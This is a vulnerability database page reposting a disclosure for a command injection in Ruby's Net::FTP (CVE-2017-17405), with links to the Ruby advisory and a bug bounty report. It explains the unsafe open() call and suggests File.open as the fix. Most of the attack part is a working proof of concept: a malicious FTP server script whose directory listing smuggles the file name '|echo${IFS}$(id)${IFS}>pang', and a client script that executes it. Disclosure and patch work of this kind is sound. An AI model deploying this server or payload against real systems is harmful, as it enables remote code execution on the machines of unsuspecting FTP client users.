Lucene search
K

Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - NET::Ftp Command Injection Exploit

🗓️ 22 Dec 2017 00:00:00Reported by Etienne StalmansType 
zdt
 zdt
🔗 0day.today👁 112 Views

Ruby NET::Ftp Command Injection Security Issu

Related
Code
While using NET::Ftp I realised you could get command execution through "malicious" file names.
 
The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method.
When looking at the source code, you'll note:
 
```
def gettextfile(remotefile, localfile = File.basename(remotefile),
                &block) # :yield: line
  f = nil
  result = nil
  if localfile
    f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
  elsif !block_given?
    result = String.new
  end
```
 
The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.
 
I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable.
 
## Usage:
Change the `host` and `port` values in both //ftpserver.rb// and //client.rb//
 
Start the server: `ruby ftpserver.rb`
Run the client: `ruby client.rb`
 
Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png
 
The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security.
 
## Impact
Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths.
 
--cilent.rb--
```
require 'net/ftp'
host = '172.17.0.4'
port = 2121
 
Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
  ftp.login
  fileList = ftp.nlst('*')
  fileList.each do |file|
        ftp.gettextfile(file)
  end
end
```
--cilent.rb--
 
- - - 
 
--ftpserv.rb--
```
require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')
 
server = TCPServer.new port
 
loop do
  Thread.start(server.accept) do |client|
    client.puts "220 Attack FTP\r\n"
    r = client.gets
    puts r
    client.puts "331 password please - version check\r\n"   
    r = client.gets
    puts r
    client.puts "230 User logged in\r\n"
    r = client.gets
    puts r
    client.puts "230 more data please!\r\n" 
    r = client.gets
    puts r
    client.puts "230 more data please!\r\n" 
    r = client.gets
    puts r
 
    wait = true
    psv = Thread.new do
        pserver = TCPServer.new 23461
        Thread.start(pserver.accept) do |pclient|
            while wait do
            end
            pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
            pclient.close
        end
    end
 
    sleep 1
 
    client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
    r = client.gets
    puts r
 
    psv.join
 
    client.puts "150 Here comes the directory listing.\r\n"
     
    wait = false
 
    client.puts "226 Directory send OK.\r\n"
    r = client.gets
    puts r
    client.puts "221 goodbye\r\n"   
    client.close
  end
end
```
--ftpserv.rb--
 
- - -
E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/
E-DB Nte: https://hackerone.com/reports/294462

#  0day.today [2018-04-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2017 00:00Current
7.7High risk
Vulners AI Score7.7
EPSS0.88646
112